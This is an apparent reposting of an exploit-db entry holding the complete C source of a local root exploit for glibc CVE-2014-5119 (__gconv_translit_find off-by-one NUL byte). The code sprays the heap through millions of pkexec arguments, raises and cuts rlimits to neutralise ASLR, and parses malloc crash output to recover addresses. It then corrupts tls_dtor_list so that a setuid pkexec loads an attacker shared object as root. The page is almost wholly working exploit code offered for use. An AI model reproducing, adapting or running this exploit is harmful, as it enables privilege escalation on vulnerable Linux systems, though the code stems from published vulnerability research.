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本地漏洞: - glibc Off-by-One NUL Byte gconv_translit_find Exploit

2014-08-27 15:35
//
// Full Exploit: http://www.exploit-db.com/sploits/CVE-2014-5119.tar.gz
//
//
// ---------------------------------------------------
// CVE-2014-5119 glibc __gconv_translit_find() exploit
// ------------------------ taviso & scarybeasts -----
//
// Tavis Ormandy <taviso@cmpxhg8b.com>
// Chris Evans <scarybeasts@gmail.com>
//
// Monday 25th August, 2014
//

#define _GNU_SOURCE
#include <err.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <dlfcn.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stdint.h>
#include <assert.h>
#include <stdarg.h>
#include <stddef.h>
#include <signal.h>
#include <string.h>
#include <termios.h>
#include <stdbool.h>
#include <sys/user.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/ptrace.h>
#include <sys/utsname.h>
#include <sys/resource.h>

// Minimal environment to trigger corruption in __gconv_translit_find().
static char * const kCorruptCharsetEnviron[] = {
"CHARSET=//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",
NULL,
};

static const struct rlimit kRlimMax = {
.rlim_cur = RLIM_INFINITY,
.rlim_max = RLIM_INFINITY,
};

static const struct rlimit kRlimMin = {
.rlim_cur = 1,
.rlim_max = 1,
};

// A malloc chunk header.
typedef struct {
size_t prev_size;
size_t size;
uintptr_t fd;
uintptr_t bk;
uintptr_t fd_nextsize;
uintptr_t bk_nextsize;
} mchunk_t;

// A tls_dtor_list node.
typedef struct {
uintptr_t func;
uintptr_t obj;
uintptr_t map;
uintptr_t next;
} dlist_t;

// The known_trans structure glibc uses for transliteration modules.
typedef struct {
uint8_t info[32];
char *fname;
void *handle;
int open_count;
} known_t;

enum {
LOG_DEBUG,
LOG_WARN,
LOG_ERROR,
LOG_FATAL,
};

// Round up an integer to the next PAGE_SIZE boundary.
static inline uintptr_t next_page_size(uintptr_t size)
{
return (size + PAGE_SIZE - 1) & PAGE_MASK;
}

// Allocate a buffer of specified length, starting with s, containing c, terminated with t.
static void * alloc_repeated_string(size_t length, int s, int c, int t)
{
return memset(memset(memset(malloc(length), t, length), c, length - 1), s, 1);
}

static void logmessage(int level, const char * format, ...)
{
va_list ap;

switch (level) {
case LOG_DEBUG: fprintf(stderr, "[*] "); break;
case LOG_WARN: fprintf(stderr, "[*] "); break;
case LOG_ERROR: fprintf(stderr, "[!] "); break;
}

va_start(ap, format);
vfprintf(stderr, format, ap);
va_end(ap);

fputc('\n', stderr);

if (level == LOG_ERROR) {
_exit(EXIT_FAILURE);
}
}

// Parse a libc malloc assertion message to extract useful pointers.
//
// Note, this isn't to defeat ASLR, it just makes it more portable across
// different system configurations. ASLR is already nullified using rlimits,
// although technically even that isn't necessary.
static int parse_fatal_error(uintptr_t *chunkptr, uintptr_t *baseaddr, uintptr_t *bssaddr, uintptr_t *libcaddr)
{
FILE *pty;
char *mallocerror;
char *memorymap;
char *line;
char *prev;
char message[1 << 14];
char *anon = NULL;
char r, w, x, s;
ssize_t count;
int status;
uintptr_t mapstart;
uintptr_t mapend;

// Unfortunately, glibc writes it's error messaged to /dev/tty. This cannot
// be changed in setuid programs, so this wrapper catches tty output.
while (true) {
// Reset any previous output.
memset(message, 0, sizeof message);

logmessage(LOG_DEBUG, "Attempting to invoke pseudo-pty helper (this will take a few seconds)...");

if ((pty = popen("./pty", "r")) == NULL) {
logmessage(LOG_ERROR, "failed to execute pseudo-pty helper utility, cannot continue");
}

if ((count = fread(message, 1, sizeof message, pty)) <= 0) {
logmessage(LOG_ERROR, "failed to read output from pseudo-pty helper, %d (%m)", count, message);
}

logmessage(LOG_DEBUG, "Read %u bytes of output from pseudo-pty helper, parsing...", count);

pclose(pty);

mallocerror = strstr(message, "corrupted double-linked list");
memorymap = strstr(message, "======= Memory map: ========");

// Unfortunately this isn't reliable, keep trying until it works.
if (mallocerror == NULL || memorymap == NULL) {
logmessage(LOG_WARN, "expected output missing (this is normal), trying again...");
continue;
}

logmessage(LOG_DEBUG, "pseudo-pty helper succeeded");
break;
}

*baseaddr = 0;
*chunkptr = 0;
*bssaddr = 0;
*libcaddr = 0;

logmessage(LOG_DEBUG, "attempting to parse libc fatal error message...");

// Verify this is a message we understand.
if (!mallocerror || !memorymap) {
logmessage(LOG_ERROR, "unable to locate required error messages in crash dump");
}

// First, find the chunk pointer that malloc doesn't like
if (sscanf(mallocerror, "corrupted double-linked list: %p ***", chunkptr) != 1) {
logmessage(LOG_ERROR, "having trouble parsing this error message: %.20s", mallocerror);
};

logmessage(LOG_DEBUG, "discovered chunk pointer from `%.20s...`, => %p", mallocerror, *chunkptr);
logmessage(LOG_DEBUG, "attempting to parse the libc maps dump...");

// Second, parse maps.
for (prev = line = memorymap; line = strtok(line, "\n"); prev = line, line = NULL) {
char filename[32];

// Reset filename.
memset(filename, 0, sizeof filename);

// Just ignore the banner printed by glibc.
if (strcmp(line, "======= Memory map: ========") == 0) {
continue;
}

if (sscanf(line, "%08x-%08x %c%c%c%c %*8x %*s %*u %31s", &mapstart, &mapend, &r, &w, &x, &s, filename) >= 1) {
// Record the last seen anonymous map, in case the kernel didn't tag the heap.
if (strlen(filename) == 0) {
anon = line;
}

// If the kernel did tag the heap, then everything is easy.
if (strcmp(filename, "[heap]") == 0) {
logmessage(LOG_DEBUG, "successfully located first morecore chunk w/tag @%p", mapstart);
*baseaddr = mapstart;
}

// If it didn't tag the heap, then we need the anonymous chunk before the stack.
if (strcmp(filename, "[stack]") == 0 && !*baseaddr) {
logmessage(LOG_WARN, "no [heap] tag was found, using heuristic...");
if (sscanf(anon, "%08x-%*08x %*c%*c%*c%*c %*8x %*s %*u %31s", baseaddr, filename) < 1) {
logmessage(LOG_ERROR, "expected to find heap location in line `%s`, but failed", anon);
}
logmessage(LOG_DEBUG, "located first morecore chunk w/o tag@%p", *baseaddr);
}

if (strcmp(filename, "/usr/lib/libc-2.18.so") == 0 && x == 'x') {
logmessage(LOG_DEBUG, "found libc.so mapped @%p", mapstart);
*libcaddr = mapstart;
}

// Try to find libc bss.
if (strlen(filename) == 0 && mapend - mapstart == 0x102000) {
logmessage(LOG_DEBUG, "expecting libc.so bss to begin at %p", mapstart);
*bssaddr = mapstart;
}
continue;
}

logmessage(LOG_ERROR, "unable to parse maps line `%s`, quiting", line);
break;
}

return (*chunkptr == 0 || *baseaddr == 0 || *bssaddr == 0 || *libcaddr == 0) ? 1 : 0;
}

static const size_t heap_chunk_start = 0x506c8008;
static const size_t heap_chunk_end = 0x506c8008 + (2 * 1024 * 1024);

static const size_t nstrings = 15840000;

// The offset into libc-2.18.so BSS of tls_dtor_list.
static const uintptr_t kTlsDtorListOffset = 0x12d4;

// The DSO we want to load as euid 0.
static const char kExploitDso[] = "./exploit.so";

int main(int argc, const char* argv[])
{
uintptr_t baseaddr;
uintptr_t chunkptr;
uintptr_t bssaddr;
uintptr_t libcaddr;
uint8_t *param;
char **args;
dlist_t *chain;
struct utsname ubuf;

// Look up host type.
if (uname(&ubuf) != 0) {
logmessage(LOG_ERROR, "failed to query kernel information");
}

logmessage(LOG_DEBUG, "---------------------------------------------------");
logmessage(LOG_DEBUG, "CVE-2014-5119 glibc __gconv_translit_find() exploit");
logmessage(LOG_DEBUG, "------------------------ taviso & scarybeasts -----");

// Print some warning that this isn't going to work on Ubuntu.
if (access("/etc/fedora-release", F_OK) != 0 || strcmp(ubuf.machine, "i686") != 0)
logmessage(LOG_WARN, "This proof of concept is designed for 32 bit Fedora 20");

// Extract some useful pointers from glibc error output.
if (parse_fatal_error(&chunkptr, &baseaddr, &bssaddr, &libcaddr) != 0) {
logmessage(LOG_ERROR, "unable to parse libc fatal error message, please try again.");
}

logmessage(LOG_DEBUG, "allocating space for argument structure...");

// This number of "-u" arguments is used to spray the heap.
// Each value is a 59-byte string, leading to a 64-byte heap chunk, leading to a stable heap pattern.
// The value is just large enough to usuaully crash the heap into the stack without going OOM.
if ((args = malloc(((nstrings * 2 + 3) * sizeof(char *)))) == NULL) {
logmessage(LOG_ERROR, "allocating argument structure failed");
}

logmessage(LOG_DEBUG, "creating command string...");

args[nstrings * 2 + 1] = alloc_repeated_string(471, '/', 1, 0);
args[nstrings * 2 + 2] = NULL;

logmessage(LOG_DEBUG, "creating a tls_dtor_list node...");

// The length 59 is chosen to cause a 64byte allocation by stdrup. That is
// a 60 byte nul-terminated string, followed by 4 bytes of metadata.
param = alloc_repeated_string(59, 'A', 'A', 0);
chain = (void *) param;

logmessage(LOG_DEBUG, "open_translit() symbol will be at %p", libcaddr + _OPEN_TRANSLIT_OFF);
logmessage(LOG_DEBUG, "offsetof(struct known_trans, fname) => %u", offsetof(known_t, fname));

chain->func = libcaddr + _OPEN_TRANSLIT_OFF;
chain->obj = baseaddr + 8 + sizeof(*chain) - 4 - offsetof(known_t, fname);
chain->map = baseaddr + 8 + sizeof(*chain);
chain->next = baseaddr + 8 + 59 - strlen(kExploitDso);

logmessage(LOG_DEBUG, "appending `%s` to list node", kExploitDso);

memcpy(param + 59 - strlen(kExploitDso), kExploitDso, 12);

logmessage(LOG_DEBUG, "building parameter list...");
for (int i = 0; i < nstrings; ++i) {
args[i*2 + 1] = "-u";
args[i*2 + 2] = (void *) chain;
}

// Verify we didn't sneak in a NUL.
assert(memchr(chain, 0, sizeof(chain)) == NULL);

logmessage(LOG_DEBUG, "anticipating tls_dtor_list to be at %p", bssaddr + kTlsDtorListOffset);

// Spam all of possible chunks (some are unfortunately missed).
for (int i = 0; true; i++) {
uintptr_t chunksize = 64;
uintptr_t chunkaddr = baseaddr + i * chunksize;
uintptr_t targetpageoffset = chunkptr & ~PAGE_MASK;
uintptr_t chunkpageoffset = PAGE_MASK;
uintptr_t mmapbase = 31804 + ((0xFD8 - targetpageoffset) / 32);
uint8_t *param = NULL;
mchunk_t chunk = {
.prev_size = 0xCCCCCCCC,
.size = 0xDDDDDDDD,
.fd_nextsize = bssaddr + kTlsDtorListOffset - 0x14,
.bk_nextsize = baseaddr + 8,
};

// Compensate for heap metadata every 1MB of allocations.
chunkaddr += 8 + (i / (1024 * 1024 / chunksize - 1) * chunksize);

if (chunkaddr < heap_chunk_start)
continue;

if (chunkaddr > heap_chunk_end)
break;

chunkpageoffset = chunkaddr & ~PAGE_MASK;

if (chunkpageoffset > targetpageoffset) {
continue;
}

if (targetpageoffset - chunkpageoffset > chunksize) {
continue;
}

// Looks like this will fit, compensate the pointers for alignment.
chunk.fd = chunk.bk = chunkaddr + (targetpageoffset - chunkpageoffset);

if (memchr(&chunk, 0, sizeof chunk)) {
logmessage(LOG_WARN, "parameter %u would contain a nul, skipping", i);
continue;
}
args[mmapbase + i * 2] = param = alloc_repeated_string(60, 'A', 'A', 0);

memcpy(param + (targetpageoffset - chunkpageoffset),
&chunk,
sizeof chunk);
}

setrlimit(RLIMIT_STACK, &kRlimMax);
setrlimit(RLIMIT_DATA, &kRlimMin);

args[0] = "pkexec";

logmessage(LOG_DEBUG, "execvpe(%s...)...", args[0]);
execvpe("pkexec", args, kCorruptCharsetEnviron);
}



知识来源: www.exploit-db.com/exploits/34421

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